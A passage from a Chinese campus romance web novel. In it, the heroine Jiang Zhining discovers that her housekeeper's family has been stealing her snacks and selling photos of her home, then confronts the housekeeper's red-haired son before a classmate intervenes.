一想到这，本就心情不爽的周静瑶情绪变得更加暴躁起来。 另一边，韩辰低着头，看似在专心刷手机，其实余光时不时偷瞄一眼站他旁边的短发女生。 干什么啊，这女生老盯着他看干什么？ 还脸色阴沉，目露凶狠，像要把他剥掉一层皮似的，看得他浑身鸡皮疙瘩都起来了！ 他脑子里不禁怀疑地想，这女生该不会是私生粉，甚至是他的黑粉吧？？？ 不是吧，韩辰紧张地咽了咽口水，他才刚搬来没多久哎，这群人就摸到他住哪里了？ 黑粉 一想到这，韩辰又心惊胆颤地偷瞄周静瑶一眼。 陌生脸，确定以前没见过，而且看他的眼神这么凶，99.9%黑粉无疑！ 这时，叮一声，电梯来了。 两人都没动，四目直直对视，气氛僵持。 眼看电梯门马上就要合拢，周静瑶及时上前按了下按钮，门重新打开，她扭过头，面无表情盯着韩辰，冷声说：“不上去吗？” 哟呵，都到这份上了，黑粉还装呢？ 以为买两杯奶茶，就能假扮成这里的业主吗，我倒要看看你是哪路来的妖魔鬼怪！ 韩辰默不作声走进电梯里。 电梯门关上，周静瑶按下九楼按钮，眼看旁边癞蛤蟆没动静，语气很不友善，冷冷质问了句：“喂，你几楼啊？” “我也九楼。”韩辰闷声闷气地说。 开玩笑，他肯定不可能暴露自己住在八楼的事实，反正柯译衍住九楼，干脆先去他家里躲一下。 而周静瑶心想的是，这癞蛤蟆果然是跟踪狂，居然还知道姜织宁住九楼，行，等下就报警。 叮一声，电梯很快抵达九楼。 两人同时出来，经过走廊，各自往相反方向走去，周静瑶双臂环到胸前，凶巴巴站在姜织宁家门口，也不着急敲门，就这么直勾勾盯着对面的韩辰。 一副准备开始修理人的姿态。 韩辰冷静拿出手机，当即给柯译衍打了个电话。 三秒后，大门打开一条缝。 柯译衍站在门口，手放在门把上，目光困惑望着不速之客：“干什么？” “邻居串门。”韩辰淡定地说。 串门？ 无缘无故串什么门，闲得慌。 柯译衍沉默两秒，面无表情撂了句：“没空。” 下一秒，作势就要拉上门。 这个冷酷无情的人！ “等等下！”韩辰连忙抬手扒住大门，压低声音说，“江湖救急江湖救急！先让我进去躲一下，对面有个黑粉！” 黑粉？ 柯译衍顺势偏头，朝门外看去，视线里，除了站在不远处的周静瑶，并没有其他人。 哪来的黑粉？ 与此同时，周静瑶注意到柯译衍的身影，表情有些震惊，有没有搞错，这两人认识啊？ 韩辰不让柯译衍多看，直接强势把人推进去，然后砰一声关上大门，一脸严肃警告：“你还敢看，小心目标转移到你身上啊！” 柯译衍冷哼一声，面无表情反问：“既然知道有转移目标的可能性，那你还来敲门出卖我？” “哎呀，万一闹起来，那两个人的力量总比我一个人强嘛。”韩辰摸了摸鼻尖，心虚笑两声，“助理又不在这边，我可不敢让黑粉知道我住八楼。” 自己又没有眼瞎，韩辰在那边一口一个黑粉的，惹得柯译衍不解问：“哪来的黑粉？” “就站对面那个女生啊！”韩辰坐到客厅里的钢琴凳上，手拍胸膛，心有余悸说，“手里拎着奶茶，眼神特别凶，你刚才看到她没？” 柯译衍顿了下，继而懒洋洋嗤笑出声：“你别看见谁都以为是你粉丝行吗。” “啊？” “那女生是姜织宁好朋友，她同班同学。” “啊？”韩辰呆滞三秒，诧异说，“那也是你的同班同学？” “嗯。” 危机警报解除，韩辰松了口气，但还是有几分不理解，他无比茫然地问：“不是，那她苦大仇深盯着我干什么？我又没惹她！” 柯译衍关上电视，敷衍回了句：“建议你反思下是不是长得招人厌。” “我全身上下就露出两眼珠子，怎么就招人厌了？？？”韩辰不爽看着柯译衍，傲娇说，“靠，你这么说的话，那我要犯玻璃心了！” “自己回楼下去犯。”柯译衍半点不惯他，拿起茶几上的电脑，无情放话，“别来烦我。” 韩辰哼了声：“我待这怎么了，反正晚上要一起打球啊。” 柯译衍止步，平静指了下墙上的钟：“你也知道晚上，现在才几点？” “不管啊，来都来了听过没？反正我等会儿再走。”韩辰当没看见，顾自悠哉坐到沙发上，重新打开电视。 柯译衍看着赶都赶不走的狗皮膏药，一脸无语，早知道就不应放他进来。 * 周静瑶冷眼旁观癞蛤蟆表演，都打算报警了，结果发现是柯译衍认识的人，行吧，看来是误会一场。 进门后，姜织宁叫周静瑶先坐一会儿，然后走向厨房翻箱倒柜。 芝士蛋糕怎么没了，被她全吃光了？ 好大一箱巧克力夹心饼干呢，怎么只剩下几包了？ 记忆中，她还没吃几包的猪肉铺也找不到了，直接凭空消失。 还有这个坚果礼盒，不是前几天刚拆吗，为什么桶里只剩下四分之一的量？ 真的很奇怪，姜织宁眼神狐疑，怎么感觉家里零食又少了很多，跟长了翅膀飞走似的。 照理说不应该啊，家里除了她，又没有别的小朋友，姑姑也不吃零食，而且按照姑姑的采购习惯，她每次买的都是份量夸张的家庭装。 姜织宁觉得，她的胃口应该没这么大吧 这种消耗速度实在有些夸张了，还是说，是她脑子记忆错乱，其实是她吃的，只不过她忘记了？ 姜织宁一边疑惑翻找，一边纳闷问刘阿姨东西放在哪里，另一边，周静瑶自来熟参观完房子，瞧见姜织宁还在厨房里翻箱倒柜，不知道在忙什么。 她走过来，好奇问：“你到底在找什么啊？” “芝士蛋糕。” “嗨！你别忙活了，我现在也没心情吃这吃那。” “这样吗。”姜织宁疑心被岔开，站起来想了想，建议道，“那不然出去走走？” 周静瑶举双手同意：“可以啊，去哪里散心？” “今天晚上我要上街舞课，去不了太远的地方，姑姑和我说，从这个小区的后门走出去，附近有个植物园，想不想去？” “那走呗。”周静瑶拎起桌上的奶茶，“咱们去拥抱大自然，呼吸新鲜空气。” 姜织宁去房间里换了身衣服，出门后，周静瑶站在大门口，眼睛左看右看。 “在看什么？”姜织宁纳闷问。 刚才来的时候没注意，这会儿突然想起来，周静瑶便特意打量着两家大门，神情认真地说：“看看你们邻居关系怎么样啊，嗯，都没上家伙，说明你和柯译衍相处得还行。” 姜织宁愣了愣，迷茫问：“什么家伙？” “镜子剪刀符纸。” “”姜织宁一脸无语，“周导啊，你就别逗了。” 周静瑶笑嘻嘻。 户外，天清气朗。 最近这段时间江洲市内多处景点实行免门票政策，植物园也免门票，所以来玩的游客格外多，尤其是一家三口，还有不少人专门带上帐篷过来玩。 两人随着队伍入园，路上，撞见一对母女大眼瞪小眼吵架，姜织宁笑了笑，扭头看向周静瑶，习以为常地问：“又和阿姨吵架了？” 否则不会突然来找她散心。 “是啊。”周静瑶深深叹了口气，“烦死。” 姜织宁：“这次又怎么了？” “起先因为一点小事，我妈就唠叨了我一个小时，最后嘛，老生常谈呗，又叫我毕业后去做伟大的人民教师。”周静瑶极其不爽地翻了个白眼，吐槽道，“拜托，我这么讨厌小孩子的人，完全不适合做老师啊！真是烦死我妈了！” 说起来，周静瑶的名字里，虽然被家人特意取了个静字，但事与愿违，周静瑶并没有长成端庄淑女，性格更是和文静没有半毛钱关系，就不仅没关系吧，还完全是往反方向发展。 周静瑶小时候最讨厌学钢琴、学舞蹈，最喜欢爬树掏鸟蛋、拆家具、到处探险，是位洒脱散漫，男孩子气十足，经常和父母对着干，最喜欢把“自由万岁！”挂在嘴边的叛逆好动少女。 她这一头短发，就是因为和亲妈吵完架后，赌气故意剪的。 她家里开幼儿园，一家人从事的都是教育行业，所以，家人希望她毕业后，去做一名培养祖国未来花朵的园丁。 但是，周静瑶坚决不从父母指定的既定人生路线，因为很不喜欢，因为无比讨厌小孩子。 以前，她经常和姜织宁说自己胸无大志，对未来充满迷茫，打算散漫度日一辈子，直到后来有一次，她帮姜织宁拍摄舞蹈视频，偶然接触到摄影，想法才有了变化。 那时的她，第一次知道什么叫构图，什么叫运镜。 正是因为这个契机，周静瑶彷佛被某只无形的手突然点拨开悟似的，彻底激发起她对摄影的浓厚兴趣，不再马马虎虎过日子。 可是在家人眼中，某天突然听到周静瑶嘴里蹦出“我以后要做导演！”的豪言壮语，下意识认为，女儿在异想天开，坚决反对。 父母心里也很纳闷，什么导演，什么摄影，如果是作为学生时代的兴趣爱好，他们当然不会反对，甚至还会大力支持。 可是为什么，为什么周静瑶非得剑走偏锋，非得当成以后要从事的职业？ 就因为这件事，周静瑶和家里吵闹了无数次，直到现在还是无解状态。 尽管现在才高二，但时间如流水，过得很快的，周静瑶觉得越是往后拖，她越难说服家里人。 …… “宁王。” “嗯？” 大概是被父母反对打击的次数太多了，导致周静瑶现在时不时的，也有点怀疑自己，她停下脚步，木脸望着前方，无比惆怅叹了口气：“你觉得我行不行啊？” 姜织宁有点走累了，顺势坐到水池边的石凳上休息，她安静注视着水里悠哉游来游去的锦鲤，数秒后，忽然回了句英文。 周静瑶没注意听，茫然“啊？”了声。 姜织宁把那句话翻译成中文：“每个人都是天才，但如果你以爬树的能力去评判一条鱼，它将终其一生相信自己是个笨蛋。” “什么意思哇？”周静瑶愣了愣。 姜织宁笑盈盈看着她：“意思是，每个人都有独一无二的闪光点，有梦想的周导很酷，为之坚持努力的模样也很酷，所以呢，你一定要相信自己能行。” 她当然不是随口打鸡血乱说，毕竟这是关乎未来前程的人生大事。 之所以这么讲，是因为她实打实的发现，从来做什么事都马马虎虎态度的周静瑶，因为摄影这个爱好而发生的极大转变。 认真努力的人会发光，是人群中最耀眼的存在。 姜织宁一眼就能看见。 原本拔凉落寞的心，因为这句鼓励安慰而迅速升温，周静瑶猛地扑过来，肉麻抱住姜织宁：“呜呜呜，果然还是宁王最爱我！！！” 姜织宁被她抱得身体晃来晃去，眉眼弯弯笑起来：“如果不相信你，干嘛答应做你的模特？” 周静瑶用力点头：“是哦，我家宁王对朋友最心软！最讲义气了！” 父母去世的那一年，姜织宁退出娱乐圈，结束了全部演艺工作，直到今天，依然有经纪公司、合作方主动找上门，谈签约，谈合作，但是她从来没有答应过任何商务合作，一直很低调。 除了偶尔配合学校所需要的正常宣传拍摄，姜织宁唯一答应的就是周静瑶，配合好友做摄影模特，以此帮助她在练习中不断进步。 姜织宁认为，在她们这个年纪里，光是口头上的发声很难被长辈们正视，受到他们无条件的支持，唯有鼓起勇气，想尽办法去做，持之以恒，那才是最好的办法。 不必理会追逐梦想路上的冷言嘲讽，只管向前走，向上走，哪怕最后只是亮起了小小的火苗，那也是希望的曙光。 所以，与其在言语上帮助周静瑶说服她的父母，还不如直接做周静瑶的模特，这样的帮助更来的实际些。 姜织宁是这么想的。 第23章 八百一张偷拍照 被姜织宁这么一安慰, 周静瑶很快满血复活。 她抬手看了眼手机，已经快要傍晚五点，便邀请问：“要一起吃晚饭吗？” 姜织宁脸色犹豫：“估计来不及吧, 我待会儿还要上街舞课。” “没事啊，就你上课的那幢大厦, 那楼下不是有家牛肉面很好吃嘛，我们去吃面怎么样？现在走的话, 应该不耽误你晚上上课。” 姜织宁想了想，点头答应：“也可以。” 两人愉快回程。 路上, 周静瑶忽然想起一件事, 扭头, 感兴趣问道：“哎对了，你上次说给那个音乐博主发了私信, 他有没有回你啊？” “我去看看。”姜织宁随即打开音乐app，瞥了眼对话框, 对方依然没回信息，她按灭手机, 惆怅叹了口气，“和昨天一样, 没有。” “你这口气”周静瑶意味深长噫了声。 “干嘛？” 周静瑶笑：“充满了追星少女的失落。” “有吗？” “有的。” 姜织宁没在意这个, 困惑反问：“你上次真看到他在线了？没看错眼吧？” 周静瑶举手发誓：“真看到了, 不是那种闪上闪下, 还在线蛮久的。” “好吧。”姜织宁耸耸肩。 周静瑶安慰她：“没事，可能是给他发私信的人太多了, 估计都是在线许愿, 哈哈哈哈。” 姜织宁随之笑出声，打趣附和：“是吧, 菩萨都没他忙。” “嘶，宁王啊” “干嘛？” 周静瑶突然反应过来，后知后觉地分析说：“你这天天看人家有没有回复你私信，该不会你喜欢K吧？” 姜织宁愣了下，纠正她措辞：“我喜欢他的音乐。” 周静瑶：“明白，约等于喜欢他这个人。” “怎么就约等于了，音乐和人有什么关系？”姜织宁哭笑不得。 “因为你喜欢的音乐是K弹的啊，爱屋及乌晓得不？” “” “你危险了，你有网恋的苗头！” “别乱讲啊，我才不想拥有这种时尚单品。” 一路说笑着走回去，周静瑶懒得上楼，在楼下刷手机等着，姜织宁回到家，速度进房间换了身方便跳舞的衣服。 黑色棒球帽，浅灰薄款短卫衣，美式复古阔腿牛仔裤，浅灰运动鞋，一身高街酷妹搭配。 姜织宁高效收拾好东西，背上拼色帆布包，走到阳台，和正在浇花的刘阿姨打了声招呼，说和同学出去吃晚饭。 “晚饭不在家里吃啦？”刘阿姨放下水壶，站起来问。 “嗯，出去吃。” 刘阿姨说：“牛肉已经炖好了，要不要现在尝一口？” “不用了。” “那路上小心点，早点回来啊。” “嗯，好。” “砰！”一声，大门关上。 刘萍站在阳台，亲眼盯着姜织宁往小区大门方向走去后，才小心翼翼掏出手机，给女儿打了个电话。 过了半个小时，一名身穿牛仔超短裙，露腰紧身短袖，满脸浓妆艳抹的金发女生从电梯里懒洋洋走了出来。 她慢慢嚼着口香糖，找到902门口，刚要抬手敲门，就听见对面大门打开的声音。 女生下意识回头望去，看清门里走出来的少年后，瞬间瞪眼呆住。 原本女生对于帮忙送饭去医院的屁事很不耐烦，现在么，她直勾勾盯着眼前手拿球包的大帅哥，忍不住美滋滋心想，看来这趟跑得值。 柯译衍和俞杨他们约好了晚上打网球。 出门这会儿，俞杨临时打来电话，咋咋呼呼说自己不想吃牛肉面了，想吃网球俱乐部旁边的海鲜饭，他在微信上甩来新地址，提醒柯译衍千万别跑错地方。 “就你事情多。”柯译衍面无表情骂了句，随手关上大门，挂掉电话。 他低头站在门口，单手切到微信页面去看信息，确认了眼新地址，然后冷淡抬眸，瞥了眼一直盯着他的金发女生。 见帅哥注意到自己，女生丝毫没害羞，妩媚冲柯译衍一笑，抬手撩了下头发，款款走到柯译衍身前，拿出手机，大胆问：“帅哥，方便加个微信吗？” 柯译衍偏头，皱眉看向对面紧闭的大门，两秒后收回视线。 “不方便。” 他淡声回，将手机放回衣服兜里，拎起地上的球包，直接越过女生走向电梯。 “哎，等下呀——” 女生愣了愣，连忙追上去几步，结果话还没说完，902的大门忽然打开。 刘萍探出半个身体，余光瞄见女儿身影后，顿时板起脸吼了句：“磨磨蹭蹭干什么！还不进来！” 女生依依不舍，回头望了眼走进电梯的柯译衍，臭脸进门。 一进门，女生直翻白眼，高声嚷嚷起来：“吼什么吼啊！没看到我在问帅哥要微信吗！” “帅哥？”刘萍眼神警惕，“哪来的帅哥？” “就对面啊！你要早说对面住着帅哥，那我肯定天天来！” “你这死丫头片子，能不能别成天给我惹事！”刘萍往女儿背上猛拍铁掌，语气着急地说，“对面那男生是姜织宁的同班同学！你没和他说什么不该说的吧？” “很痛！！！”女生痛得反手摸背，气冲冲瞪着刘萍，“你放心！我就想和他加个微信，没说我是你女儿！什么都没说！” 听到这话，刘萍才放下悬空的心，她是让女儿偷偷过来的，没和雇主打招呼。 刘萍去厨房拿碗筷的功夫，女生已经自来熟参观起房子。 她这里看一看，那里摸一摸，最后好奇走进姜织宁房间，她四处打量着，眼神羡慕不已，自言自语：“这就是姜织宁的房间啊。” 和自己脏乱差的狭小房间形成鲜明对比，姜织宁的房间宽敞又明亮。 床品精致柔软，桌上整齐摆放着书本和成套的新款电子设备，衣橱里的衣服、包包、饰品多到眼花缭乱，就连空气中，都有股高级商场里才能闻到的少女香氛。 女生不由自主推开衣柜门，抽出一件自己在时尚杂志里看中很久，却买不起的M牌甜酷风连衣裙。 她走到落地镜前，仔细比划着。 裙子真好看啊。 和杂志里一摸一样。 女生注视着镜子里的自己，脸上情不自禁露出微笑，脑子里忍不住幻想起穿上裙子的漂亮模样。 要不上身试试看？ 反正没人知道。 就在这么想时，外头猛然响起煞风景的大嗓门。 “你在房间里磨磨蹭蹭干什么？！快点出来吃饭，刚炖好的牛肉！” 刘萍匆匆走进来，一把抢过女儿手里的裙子，挂回衣橱里，把女儿强行推到餐厅。 离开房间之前，女生迅速把裙兜里价值四位数的M牌雪粉色发夹藏进自己裤兜里。 桌上摆着一份热气腾腾的牛肉面，面条上铺满的牛肉原本是炖给姜织宁吃的。 “干什么啊！”女生不情不愿坐下，抱怨道，“我就试试衣服怎么了，反正姜织宁又不在家咯！” “人家的衣服，你试什么试！”刘萍立马用力打了女儿一下，不满催道，“这个牛肉昨天晚上刚送来，品质好，特别贵，你赶紧多吃点！吃完还要去医院送饭！” 刘萍胆子小，不敢动其他东西，只敢在食物上小偷小摸。 “哦，能吃她家饭，能吃她家零食，凭什么不能试她的衣服？”女生翻了个白眼，拿起筷子，撇嘴抱怨。 吃完饭，临走的时候，刘萍搬了把椅子，人站上去，从不起眼的柜子角落里拖出一个鼓鼓囊囊的塑料袋，袋子里装满了姜织宁困惑凭空消失的各种零食。 女生把袋子放到桌上，敞开袋口翻了翻，没找到自己想吃的，便问刘萍：“妈，没有之前的芝士夹心饼干吗？那个很好吃哎！” “什么夹心饼干，长什么样？” “就黄色包装，上面全是英文字那个啊。” 刘萍想了想，没记起来。 她哪记得什么芝士不芝士的，姜颖买的都是进口零食，各国语言都有，她也看不懂包装，只知道都很好吃，小偷小摸地这里拿一点，那里顺一些。 女生来时没背包，也不愿意拎着大袋子到处走，她去医院送完饭后还要和朋友一起去唱歌，便满脸不耐烦地说：“这么大袋子，我可不想拎啊，下次再说。” 刘萍瞪她：“什么下次再说，你以为这里想来就来啊！” “对啊，我可以过来看对面的大帅哥啊！”女生嬉皮笑脸，“都怪你，刚才都没要到微信！” “你这疯丫头，赶紧给我拿走！” “哎呀，我不想拿！等下要和朋友去唱歌，拎这玩意儿像什么话，很傻叉好吗！你让世杰帮我带回家好了。” 说着，女生灵活避开刘萍阻拦，及时溜走了。 * 音暴舞蹈教室。 姜织宁今晚一口气连上两节hiphop大课，老师宣布下课的那一秒，她体力透支，累得直接就地坐下休息。 从包里拿出矿泉水，打开喝了几口，和坐旁边休息的学员讨论了会儿课上新教的编舞，等到气息缓的差不多，她拎包站起来，准备回家。 经过jazz基础班时，姜织宁被爵士舞老师西西叫住。 西西顶着长长的炫酷泡面头，从门口探出上半身，往隔壁教室瞄了眼，问道：“你们下课啦？” “对，下课了。”姜织宁及时停下脚步，点点头。 “我们也马上下课了，现在有空帮我这边学员录个练习视频吗？你之前跳过的女团舞，只用跳前半段就行。”西西一边询问，一边敲打因为高强度训练而受伤的腰部。 姜织宁看她这幅样子，会意问：“老师腰受伤了？” 西西敲着腰，无奈点点头，叹气说：“是啊，这不是下个月季嘉娱乐那边的艺人就要开巡回演唱会了吗，大家都在赶进度呢，这编舞、练舞强度一大，老毛病就犯了，我现在天天跑推拿按摩。” 姜织宁早年从基础班开始学起，现在在音暴上的是高级班、大师班级别的课程，所以，她有时候会被老师临时抓去，给基础班的学员录制课后练习视频。 她没多想，点头答应，接过手机，看视频回忆动作。 西西走进教室，没一会儿，拿了件衣服出来递给姜织宁，说：“你的上衣要换下，得穿Equa商务寄来的运动背心。” 姜织宁接过来，打量了眼，是一件灰白色斑马纹设计，露腰无袖款运动背心，挺好看的。 换上衣服，戴上口罩，姜织宁走进基础班。 西西拍了拍手，招呼所有学员：“来，大家看这里啊，有同学想要拍练习视频回家对着练的，现在就拿出手机，对准这位漂亮妹妹，她会给大家示范跳两遍。” 话音落下，学员们纷纷拿出手机，快速抢占最佳拍摄位。 与此同时，西西把音暴的专业摄影师叫进来，一切准备就绪后，姜织宁对着摄影师镜头，熟练跳了两遍女团小甜舞。 示范结束，西西宣布下课，在学员离开之前，她笑眯眯揽住姜织宁肩膀，对在场所有人说：“你们觉得这位妹妹跳的怎么样？” 基础班的学员们眼神羡慕地看着姜织宁，夸道：“很好！” “特别好！” “超好看的！” “特别专业！” 西西接着说：“今天有些同学是新面孔，第一次上我的课，上课之前，我让大家都站到前排来，好几个同学可能觉得自己跳的不好，都躲到最后一排。我想说的是，大家不用害羞，也不要怕丢脸，只要坚持练习，水平都会慢慢上来的。” “你们跳舞时千万不要束手束脚，也不要迷茫没信心，觉得自己这不行那不行，像这位漂亮妹妹，”西西豪放拍了拍姜织宁肩膀，“也是从基础班开始，一步步练到高级班，你们猜，她以前学的什么舞？” 姜织宁无奈翘起唇角，知道西西老师又要当众揭她的黑历史了。 果然，下一秒，西西坏笑斜她一眼，笑眯眯说：“她以前学的古典舞，哈哈哈哈，所以最初来基础班的时候，比你们更困难更迷茫。” 古典舞和街舞，两个完全不同的舞种，在舞风、技巧、表达形式方面可谓天差地别。 姜织宁深刻记得，她第一次被姑姑带来音暴上课的场景。 那时候的她也不说话，全程木着张脸，独自默默站在最后一排，手脚不和谐地跟着比划动作。 她觉得自己像极了小丑，从上课的第一秒就开始陷入迷茫，一直迷茫到下课，脑子里想的全是我是谁？我在哪？以及我是什么废物小点心？ 类似这样的自我怀疑否定。 就这样迷茫上了挺久的课，她才逐渐找回自信。 最初学街舞那会儿，因为父母去世的阴霾，导致姜织宁脾气不太好，每次来舞社都是独来独往，从不和人说话交流。 直到后面打开心扉，和老师们熟悉之后，西西老师才以开玩笑的口吻告诉姜织宁，说她最初来上课的模样，真的很像—— 优雅白天鹅误入音暴马戏团。 西西和学员们讲话的时候，姜织宁忽然注意到，有个站在最旁边的微胖圆脸女生一直盯着她看。 女生拿着手机，脚步踟蹰，注视她目光中带着几分跃跃欲试，有那么点想主动找她的意思。 姜织宁正眼望向女生，对她友好眨了眨眼。 目光对视上的那一瞬间，女生呆滞住，旋即慌乱错开眼，猛然低头去看手机，双手在屏幕上一通乱点，装出一副很忙的样子。 害羞？ 社恐？ 学员们陆续收拾东西离开教室，姜织宁特意在教室里留了会儿，最后看女生始终没有过来找她的意思，便拿起包走了。 她戴上耳机，坐地铁回家。 已经过了晚高峰下班时间，但乘客依旧不少，地铁行驶过几站后，旁边乘客起身离开，宝贵空位被一位敏锐蹿过来的大叔抢占。 刚开始，姜织宁还没觉得反感。 结果没一会儿，身边这位红光满面，身上沾着浓重酒气的大叔，突然大声频繁地咳嗽了起来，也不带口罩，唾沫星子乱飞，就这么在公共场合传播病菌。 姜织宁对自己的免疫力有非常清晰的认知，一看旁边人这么奇葩，立马从包里拿出口罩戴上，宁愿躲到旁边站着，也不愿坐那里了。 出了地铁站，快要走到小区门口，姜织宁迎面碰上个满头红发的男生，他左手拎着塑料袋，右手举着手机讲电话。 大概是男生那头十分红火的发色实在太瞩目，她下意识看了他好几眼。 就在彼此擦肩而过的时候，她忽然听到男生得意洋洋说了句：“没错，就是姜织宁啊，哈哈哈，我刚从她家里出来！” 她猛然停下脚步，蹙眉扭头望向红毛男。 对于姜织宁来说，在陌生人嘴里听到自己的名字并不稀奇古怪，她早就习惯了，而让她察觉不对劲的点，来源于红毛男说的后半句话—— 我刚从她家里出来。 这人谁啊？ 她不认识啊！ 姜织宁想了想，当即转身，慢悠悠跟上去。 走前面的红毛男兴奋大声地对电话那头说：“不信？说我吹牛？我手机里有照片好吧，刚拍的，就她家，要不要发给你看看啊？” “友情价，八百块一张！你先给我打钱过来，款到付货！” “早就和你说我认识姜织宁，不然我怎么会知道她新家在哪里，不过我妈说这边是租的，为了方便读书。” “什么，叫她出来吃饭证明一下？证明你妈，你们这群臭不要脸的癞蛤蟆，还想认识白天鹅呢？凭什么啊，给我好处费了？否则做什么春秋大梦！” “废话，那她肯定在家啊，我还和她打招呼聊天了，你就说羡慕不羡慕！人家在江中读书，那是真学霸，这个时间肯定在家里看书呗，以为和你们一样成天混外面？！” “别他妈唧唧歪歪了，想看照片就打钱，800，少一分都不行，挂了！” 十字路口，绿灯跳红灯。 红毛男停下来等待，回头瞥了眼无声走在斜后方的女生。 那女生戴着头戴式耳机，双手懒散环在胸前，漫不经心目视前方，看上去像是在听歌散步，她头戴黑色棒球帽，脸上又有口罩遮挡，看不出长什么样。 不过这一身打扮嘛，倒是酷飒带劲，大概率是个漂亮妞。 很快，红灯转绿灯。 本来打算直行，红毛男脚下一拐，临时改主意往左边走去，那边也有个地铁口。 没走一会儿，手机响起来，红毛男看向屏幕，是亲妹妹打来的电话。 他脸色不耐烦接起来，脾气很冲地骂了句：“干什么，有屁快放！” 电话那头大概是说了什么不好听的话，气得红毛男直接把塑料袋用力往地上一扔，塑料袋当场被摔出破洞，几样小零食滚落到路边草坪。 他看到那一大包该死的零食就心烦，没闲心管掉出来的那些。 红毛男单手叉腰，暴躁往前走了几步路，冲手机那边吼道：“操，你还嫌弃上我了？？？他妈是谁把我叫到妈那边，去给你拿从别人家偷来的” 他后知后觉意识到在外面说偷不太好，停顿了秒，换了种说法：“去拿别人家的零食！还这么一大包，要不要脸啊你！” “吃吃吃，一天到晚就知道吃！猪啊你！” “这么喜欢吃不会自己买啊，哦，没钱买，那就别吃啊，不吃会死吗？？？” “有本事自己去拿啊，天天就知道使唤我帮你做事，给我钱了吗？！操，自己倒是在外面唱K蹦迪潇洒快活！” “全给你扔路边垃圾桶信不信！” 红毛男发完脾气，满脸不爽挂掉电话。 他反复深呼吸，忍下那股想要摔手机的冲动，转身去拿塑料袋，结果一眼瞄见棒球帽女生弯腰站在塑料袋旁边，正拿着手机拍照。 拍什么啊？ 神经病吧她！ 红毛男快速走上前，俯身将袋子拖到脚边，黑脸质问：“喂！你谁啊？拍什么拍？” 姜织宁已经拍好照片留证，直起身，没搭理他，顾自将照片全部发给姑姑。 一路旁听红毛男说的那些话，她八九不离十猜测，塑料袋里装的应该是家里经常不翼而飞的零食。 趁红毛男背对她打电话骂人的功夫，姜织宁快速走上前翻看袋子。 果然如她所料，饼干、蛋糕、巧克力、坚果全是她中午没找到，继而去问刘阿姨，结果对方镇定自若说不清楚的那些零食。 蛮无语的。 这些东西就算了，这红毛男，居然敢对外贩卖她的偷拍照是怎么回事？ 这就听着有点恐怖了。 是谁拍的？ 拍的什么？ 随着红毛男粗鲁的拖拽动作，塑料袋不仅破洞变得更大，还在水泥地上擦出一道褐色湿痕，气味很明显，像是肉香。 红毛男皱眉闻了闻，忽然想起什么来，立马去翻袋子，然后发现装满牛肉的玻璃盒被摔裂了，汤汁流的到处都是。 操！ 汤汁滴滴答答，恶心死了，这还怎么拎回去？ 本就暴躁不已的心情，这下变得更加糟糕恶劣。 红毛男斜眼一瞅，发现女生还在旁边低头摆弄手机，完全没搭理他的意思，他脸色瞬间阴沉下来，迅速走到她身前。 他抬起右手，食指往姜织宁肩膀上用力推了推。 “不会说话？你是哑巴啊？刚拍什么啊！” 姜织宁把手机扔进帆布包，淡定抬眸，冷眼看向对方，四目相对的那一瞬间，红毛男被她锐利目光刺地愣了愣。 口罩和帽子挡住大半张脸，看不清她长什么样，但就凭面前这双眼尾上扬的漂亮眼眸，和举手投足间散发出的气质，红毛男就能断定，这位，绝对是个大美女。 漂亮妞嘛，那他就好好说话咯。 右手轻佻地压到女生肩膀上，红毛男嬉皮笑脸问：“哪路来的美女啊，叫什么名字？” 脑袋左侧传来一股微弱刺痛，姜织宁偏头瞥了眼压在自己肩膀上的咸猪手，语气冷漠地说：“手拿开。” “哟，手长在我身上，你说拿开就拿开啊？”红毛男自以为帅气地痞笑起来。 姜织宁：“再说一遍，手拿开，压到我头发了。” 全身上下，她最宝贝的，就是那头长发。 姜织宁日常服饰任由姑姑安排，不挑，没什么意见，唯一会自己主动购买的就是帽子。她特别喜欢买帽子，春夏秋冬，各式各样，都是专门为了保护头发买的。 当初为了方便做手术，她满头长发被剃的乱七八糟，偏偏又逢术后身体恢复缓慢，头发也不怎么长，就导致她一度陷入自己会不会变成秃头少女的恐惧里。 整天患得患失，生无可恋了很久。 直到现在，她依然保持着那份对头发的紧张感，就连正常梳头掉发，都要进紧张地数数看有没有超过一百根。 红毛男不依不挠，不仅手没拿开，反而还施力压了压。 他笑嘻嘻说：“问了好几次你是谁，美女怎么没反应呢？你先回答我的问题呗。” “这话不是应该我来问你吗。”姜织宁摘下口罩，面无表情抬起脸，冷冷盯着他，“你谁？” 口罩下，露出一张无比惊艳的漂亮脸蛋，红毛男当场看得双眼发直。 哟呵，真是大美女啊！ 不过这脸……怎么长得那么像 等会儿，红毛男皱眉打量几秒后，猛然反应过来。 卧槽！这大美女怎么和姜织宁长得这么像啊！ 这这是不是本人啊！ 好像就是本人吧？ 操，他没眼瞎吧？？？ 红毛男震惊瞪大眼，下意识伸长脖子，凑近姜织宁打量，压在她肩上的手掌由于情绪过于震惊，情不自禁地更加用力。 脑袋左边再次传来刺痛感。 红毛男压在她肩膀上的那只手戴了好几个戒指，估计是被戒指扯断头发了。 自然脱发姜织宁都难以忍受，眼下被人直接扯断，那就更不能忍了！ 姜织宁深深呼吸。 一边面无表情心想，刚开学就要和人扯头花，而且还是和男生扯头花，一边以迅雷不及掩耳之势脱下棒球帽，用力盖到红毛男头上。 她紧拽住帽檐，将他整个头往下压，以此挡住他视线。 紧跟着，右手方向一拐，飞快去拽他头发。 不管别的，先让他放手再说。 指尖刚触碰到红毛男发梢，突然间，旁边横插过来一条修长有力的手臂。 下一秒，姜织宁被柯译衍紧握住手腕，一把将她拉到身后。 柯译衍脸色沉冷，往红毛男肩膀猛推一把，对方重心不稳，脚步踉跄，连连后退好几步。 第24章 哦，小女朋友啊？ 柯译衍和韩辰、俞杨他们在网球俱乐部打完球, 叫了辆车回家。 本来是柯译衍和韩辰一起回，散场那会儿，俞杨临时被父母通知去外婆家, 就蹭车过来了。 夜色沉静如水，出租车停滞在金色蜿蜒车流中, 一动不动，堵住了。 柯译衍和舅舅结束通话, 手机塞回衣服兜里，双臂懒散环到胸前, 偏头望向车窗外。 隔着低矮的绿化带, 不经意看见一男一女站在不远处的昏黄路灯下。 男生发色格外显眼, 宛如火龙果，他右手暧昧搭在女生肩膀上, 在说着什么。 柯译衍视线顺势平移到女生身上，她肩上背着的拼色帆布包有点眼熟, 没记错的话，姜织宁好像有个同款。 原本只是漫不经心的一瞥, 正要收回视线时，就见女生忽然摘下口罩, 抬起下巴, 脸色不佳盯着男生。 柯译衍微微皱了下眉, 目光停留她脸上, 仔细辨认。 